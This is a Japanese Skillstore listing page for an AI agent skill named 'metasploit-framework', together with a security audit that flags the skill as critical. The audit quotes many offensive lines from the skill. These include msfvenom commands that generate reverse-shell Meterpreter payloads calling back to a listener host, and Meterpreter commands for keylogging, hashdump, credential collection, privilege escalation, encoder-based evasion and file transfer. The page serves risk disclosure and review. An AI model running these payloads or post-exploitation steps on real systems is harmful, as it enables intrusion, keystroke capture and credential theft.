📦
content-creator
88ブランドに一貫したマーケティングコンテンツを作成
マーケティングチームには、チャネルを横断して一貫性を保つコンテンツが必要です。このスキルは、ブランドボイスとSEOに合わせてコンテンツを計画、執筆、分析、最適化するのに役立ちます。
ライティング＆コンテンツ 表示
スキル metasploit-framework
📦
metasploit-framework
コンテンツリビジョン r2 重大 ⚙️ 外部コマンド🌐 ネットワークアクセス📁 ファイルシステムへのアクセス
Metasploitワークフローを安全に評価する
セキュリティチームには、承認済み評価のための明確なMetasploitワークフローガイダンスが必要です。このスキルは、セットアップ、モジュール選択、ペイロード処理、セッション、レポート作成のチェックポイントを整理します。
対応: Claude Codex Code(CC)
この Skill を自動インストールしないでください。
基準ポリシーにより、インストール操作の前にオペレーターのレビューが必要です。
自分のエージェントでインストール
このリクエストをエージェントにコピーしてください。正規の Skill ページとマニフェストが含まれています。
エージェントリクエスト
Review the Skillstore skill "metasploit-framework" from https://skillstore.io/skills/sickn33-metasploit-framework.md and its manifest at https://skillstore.io/api/skills/sickn33-metasploit-framework/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.エージェントは引き続き計画を提示し、セキュリティポリシーで必要な確認を求める必要があります。
エージェントが読めるリソース
AI エージェント、クローラー、スクリプトがページ全体ではなく整理されたコンテキストを必要とする場合は、これらのリンクを使ってください。
テストする
「metasploit-framework」を使用しています。 単一の承認済み仮想マシン向けに、初心者用Metasploitラボレビューを計画してください。
期待される結果:
- 承認、ターゲットの識別、ツール準備状況、証拠保管を含む前提条件チェックリスト。
- モジュール調査、オプションレビュー、検証、クリーンアップを含む高レベルのワークフロー。
- アクティビティを隔離されたラボ内に保つための安全上の注意。
「metasploit-framework」を使用しています。 提案されたポストエクスプロイト手順がスコープ内かどうかをレビューしてください。
期待される結果:
- スコープ判断の要約。
- 認証情報アクセスや画面キャプチャを含む、明示的な承認が必要な機微な操作。
- 証拠収集のための、より安全な代替案の推奨。
「metasploit-framework」を使用しています。 承認済み検証演習後の成果物を要約してください。
期待される結果:
- 秘密情報を含まない証拠要約。
- 影響を受ける脆弱性とビジネス影響に関するメモ。
- クリーンアップ確認と推奨される修復担当者。
セキュリティ監査
重大v5 • 2026/8/4 バージョン別レポートを開く
Markdown formatting and private example addresses caused many false positives, but the skill contains extensive actionable offensive guidance. Confirmed risks include exploitation, payload generation, keylogging, credential access, persistence, defense evasion, file transfer, network scanning, and privileged setup.
1
スキャンされたファイル
497
解析済み行数
3
レビュー項目
0
誤検知を無視
確認済みのセキュリティ上の懸念 (60)
重大
Keylogger keywords
# Screenshots and Keylogging
The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information.
重大
Keylogger keywords
| `keyscan_start` | Start keylogger |
The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information.
重大
Metasploit framework
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation t
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
windows/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
linux/x86/meterpreter/bind_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
確認済みの60件をすべて表示
重大
Metasploit framework
php/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
java/meterpreter/reverse_https
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
android/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
### Phase 6: Meterpreter Session
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
Work with Meterpreter post-exploitation:
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
# After successful exploitation, you get Meterpreter prompt
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > sysinfo
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > getuid
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > getpid
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > pwd
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > ls
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > cd C:\\Users
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > download file.txt /tmp/
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > upload /tmp/tool.exe C:\\
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > ps
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > migrate [PID]
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > kill [PID]
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > ipconfig
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > netstat
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > route
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > getsystem
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > getprivs
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > hashdump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > run post/windows/gather/credentials/credential_collector
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > screenshot
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > keyscan_start
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > keyscan_dump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > keyscan_stop
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > shell
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > background
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
meterpreter > run post/windows/gather/hashdump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Metasploit framework
[*] Meterpreter session 1 opened
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
重大
Post-Compromise Persistence Guidance
The skill recommends Windows executable persistence and Linux SSH-key persistence modules. These actions maintain unauthorized access after initial compromise.
The section is explicitly labeled persistence and names two operational persistence modules. The intent and capability are direct.
重大
Security Control Evasion Guidance
The skill recommends evasion modules, encoded payloads, and avoiding monitoring detection. This guidance helps payloads bypass defensive controls.
The source explicitly says to bypass security controls, evade antivirus, and avoid detection. It also supplies encoder and evasion-module directions.
高
Screen capture upload
| `screenshot` | Capture screen |
The command reference explicitly directs Meterpreter to capture the compromised system screen. This can collect sensitive user and application data.
高
Network scanning tools
| `db_nmap` | Run nmap with database |
The reference explicitly recommends `db_nmap`, which performs active network scanning and stores results in the Metasploit database.
高
Credential Brute Force Workflow
The skill configures SSH login attempts with username and password wordlists. This enables automated credential attacks beyond defensive vulnerability review.
The named SSH login module and both credential wordlists clearly establish brute-force intent. The workflow ends with an instruction to run the attack.
低
System reconnaissance
meterpreter > getuid
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
低
System reconnaissance
meterpreter > getpid
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
低
System reconnaissance
C:\Windows\system32> whoami
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
低
Network reconnaissance
meterpreter > netstat
The Meterpreter `netstat` command enumerates network connections on a compromised host. This is genuine post-exploitation network reconnaissance.
機能レビュー項目 (3)
これらは、このスキルに期待される可能性のある実際のローカル機能であるため、レビューが必要ですが、確認済みの悪意ある動作としてはカウントされません。
高
sudo privilege escalation
| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |
The troubleshooting table explicitly instructs users to run `sudo msfdb init`. This requests privileged host changes and contradicts the earlier claim that privileged setup is unnecessary.
高
Temp directory access
meterpreter > download file.txt /tmp/
This is an actionable Meterpreter file-transfer command that downloads target data or uploads a tool through `/tmp`. It enables post-compromise extraction or deployment.
高
Temp directory access
meterpreter > upload /tmp/tool.exe C:\\
This is an actionable Meterpreter file-transfer command that downloads target data or uploads a tool through `/tmp`. It enables post-compromise extraction or deployment.
リスク要因
⚙️ 外部コマンド (50)
SKILL.md:33-37 SKILL.md:37-41 SKILL.md:41 SKILL.md:69-86 SKILL.md:86-92 SKILL.md:92-118 SKILL.md:118-124 SKILL.md:124-145 SKILL.md:145-151 SKILL.md:151-184 SKILL.md:184-190 SKILL.md:190-210 SKILL.md:210-216 SKILL.md:216-267 SKILL.md:267-273 SKILL.md:273-306 SKILL.md:306-312 SKILL.md:312-347 SKILL.md:347-353 SKILL.md:353-386 SKILL.md:386-392 SKILL.md:392-408 SKILL.md:408-416 SKILL.md:416-417 SKILL.md:417-418 SKILL.md:418-419 SKILL.md:419-420 SKILL.md:420-421 SKILL.md:421-422 SKILL.md:422 SKILL.md:423-424 SKILL.md:424-425 SKILL.md:425-426 SKILL.md:426-427 SKILL.md:427-428 SKILL.md:428-434 SKILL.md:434-435 SKILL.md:435-436 SKILL.md:436-437 SKILL.md:437-438 SKILL.md:438-439 SKILL.md:439-440 SKILL.md:440-441 SKILL.md:441-442 SKILL.md:442-443 SKILL.md:443-444 SKILL.md:444-448 SKILL.md:448-464 SKILL.md:464-490 SKILL.md:490
🌐 ネットワークアクセス (19)
📁 ファイルシステムへのアクセス (2)
検出されたパターン
Keylogger keywords×2Screen capture uploadMetasploit framework×49System reconnaissance×3Network reconnaissanceNetwork scanning tools
監査者: codex 監査履歴を表示 →
このレポートを共有・引用
バージョン付き評価レポート、中立的なバッジ、埋め込みカード、引用を共有できます。Skillstore は証拠を報告しますが、この Skill が安全かどうかは判断しません。
レポートリンクをコピー
https://skillstore.io/skills/sickn33-metasploit-framework/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdownバッジ
[](https://skillstore.io/skills/sickn33-metasploit-framework?utm_source=security_passport_badge)HTMLバッジ
<a href="https://skillstore.io/skills/sickn33-metasploit-framework?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-metasploit-framework/security.svg" alt="Skillstore security assessment" loading="lazy"></a>埋め込みカード
<iframe src="https://skillstore.io/embed/skills/sickn33-metasploit-framework.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学術引用 (APA · BibTeX · CFF)
APA形式の引用
zebbern. (2026). metasploit-framework security audit report (audit version 5) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-metasploit-framework/audits/5BibTeX形式の引用
@techreport{zebbern-sickn33-metasploit-framework-2026,
author = {zebbern},
title = {metasploit-framework security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-metasploit-framework/audits/5},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "metasploit-framework security audit report (audit version 5)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-08-04"
url: "https://skillstore.io/skills/sickn33-metasploit-framework/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-metasploit-framework:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore スコア
このスコアの理由 証拠の信頼度: 中 55
アーキテクチャ
85
保守性
87
コンテンツ
69
コミュニティ
83
仕様準拠
作成できるもの
ラボ評価を準備する
隔離されたラボで練習する前に、Metasploitの各フェーズを理解するためにリファレンスを使用します。
承認済み検証を計画する
スコープ化された脆弱性を、モジュール選択、オプションレビュー、証拠取得、クリーンアップタスクに対応付けます。
テスト境界をレビューする
提案されたMetasploitアクティビティが、書面による承認、rules of engagement、レポート要件と一致しているかを確認します。
これらのプロンプトを試す
前提条件をレビューする
承認済みラボ向けに、このMetasploitリファレンスを使用する前に必要なアクセス、ツール、ドキュメント、安全確認について説明してください。
モジュールタイプを選択する
この承認済み評価目標に基づいて、関連するMetasploitモジュールカテゴリと、コマンドを実行する前に必要な情報を特定してください。
管理された検証を計画する
この承認済みターゲットに対する安全な検証計画を作成してください。スコープ確認、オプションレビュー、証拠処理、ロールバックステップを含めてください。
ポストエクスプロイトのスコープを監査する
この提案されたポストエクスプロイトアクティビティをrules of engagementに照らしてレビューし、認証情報、プライバシー、永続化に関するリスクを指摘してください。
ベストプラクティス
- Metasploitワークフローを使用する前に、書面による承認と定義済みスコープを必須とします。
- 隔離されたラボまたは承認済み評価環境でのみ練習します。
- 証拠を慎重に記録し、承認に基づく検証後にテスト成果物を削除します。
回避
- 許可なく第三者システムに対してexploitやペイロードのガイダンスを実行すること。
- rules of engagementで許可されていない場合に、認証情報、スクリーンショット、ファイルを収集すること。
- レビューと封じ込めなしに、ペイロードコマンドを本番環境へコピーすること。
よくある質問
このスキルはMetasploitを自動的に実行しますか？
いいえ。これは書面のリファレンスです。ユーザーは自身の承認済み環境でツールを実行する必要があります。
承認は必要ですか？
はい。Metasploitアクティビティには、書面による承認、定義済みスコープ、明確なrules of engagementが必要です。
なぜこのスキルは高リスクなのですか？
exploit、ペイロード、Meterpreter、認証情報アクセス、回避ガイダンスが含まれているためです。
防御側トレーニングに役立ちますか？
はい。ただし、管理されたラボまたは承認済み検証演習に限り、証拠を慎重に取り扱う必要があります。
exploitの安全性を検証しますか？
いいえ。オペレーターは、いかなる操作の前にもスコープ、ターゲット所有権、変更リスクを検証する必要があります。
広範な公開前に何を削除すべきですか？
そのままコピーして使えるペイロード、keylogging、credential dumping、persistence、evasionの手順を削除してください。
開発者情報
作成者
zebbernライセンス
MIT
Skillstore リビジョン
r2
バージョンに関する注意
作者はバージョンを宣言していません。
参照
81e05e636292629114b76cbb3922fbe57672fc02
メンテナンスの新しさ
2026/8/5
利用状況
9 ダウンロード · 144 閲覧
ファイル構成
📄 SKILL.md
zebbern のその他のスキル
📦
prompt-engineering-patterns
85実証済みパターンでLLMプロンプトを改善
一貫性のないプロンプトは時間を浪費し、AIの出力を信頼しにくくします。このスキルは、再利用可能なパターン、例、評価手順、最適化ワークフローを使ってプロンプト設計を支援します。
生産性 表示
📦
senior-architect
81スケーラブルなソフトウェアアーキテクチャを設計する
アーキテクチャ上の意思決定は、Web、モバイル、バックエンド、クラウドシステム全体で比較するのが困難です。このスキルは、レポート、依存関係レビュー、トレードオフ文書化のための構造化されたガイドとローカルのスキャフォールドスクリプトを提供します。
コーディング＆開発 表示
📦
senior-fullstack
81シニアレベルのパターンでフルスタックアプリを構築
チームには、モダンなWebアプリケーション向けに一貫したセットアップ、アーキテクチャ、レビュー指針が必要です。このスキルは、React、Next.js、Node.js、GraphQL、PostgreSQLプロジェクト向けのスキャフォールダー、ワークフローのリファレンス、品質向上のためのプロンプトを提供します。
コーディング＆開発 表示
📦
prompt-engineer
81Prompt EngineerでAIプロンプトを最適化
目標が曖昧だったり複雑だったりすると、明確なプロンプトを書くのは困難です。このスキルは、実績のあるプロンプトフレームワークを使って、粗い依頼を構造化されたプロンプトに変換します。
生産性 表示
📦
product-manager-toolkit
80リサーチインサイトでプロダクト業務の優先順位を決める
プロダクトチームには、機能の順位付け、インタビューの統合、意思決定の文書化をより速く行う方法が必要です。このスキルは、構造化された計画のために、RICEスコアリング、インタビュー分析、PRDテンプレートを提供します。
生産性 表示
関連スキル
すべて表示📦
pentest-metasploit
38Metasploit ワークフローを安全に監査
作成者 AgentSecOps
セキュリティチームには、承認済みのエクスプロイト検証を体系的にレビューする必要がありますが、これらのワークフローには高い悪用リスクが伴います。このスキルは、スコープ確認、ログ記録、クリーンアップのガイダンスを含む Metasploit 評価手順を文書化します。
セキュリティ＆コンプライアンス 表示
📦
web-app-penetration-testing
70Test Authorized Web Apps with Strix
作成者 usestrix
Web application reviews can miss vulnerabilities behind login and across tenant boundaries. This skill guides authorized Strix testing, evidence review, and repeat testing after fixes.
セキュリティ＆コンプライアンス 表示
📦
owasp-top-10-testing
70Assess Applications Against the OWASP Top 10
作成者 usestrix
Security assessments can miss categories or confuse incomplete coverage with a clean result. This skill guides Strix testing and evidence-based reporting against OWASP Top 10:2025.
セキュリティ＆コンプライアンス 表示
📦
security-engineer
38Audit Systems and Applications Securely
作成者 zl2023github
Security reviews require consistent scope, evidence, and remediation guidance across many tools. This skill provides practical workflows for authorized assessment, monitoring, hardening, and reporting.
セキュリティ＆コンプライアンス 表示
📦
penetration-testing-with-strix
38Run Authorized Penetration Tests with Strix
作成者 usestrix
Application security teams need reproducible testing with clear scope, costs, and evidence. This skill guides Strix setup, authorized scans, and interpretation of validated findings.
セキュリティ＆コンプライアンス 表示
📦
universal-audit
92Audit Software Releases with Evidence
作成者 glenskii
Release decisions often rely on incomplete evidence and inconsistent standards. This skill applies structured controls, deterministic scoring, and mandatory gates to assess readiness.
セキュリティ＆コンプライアンス 表示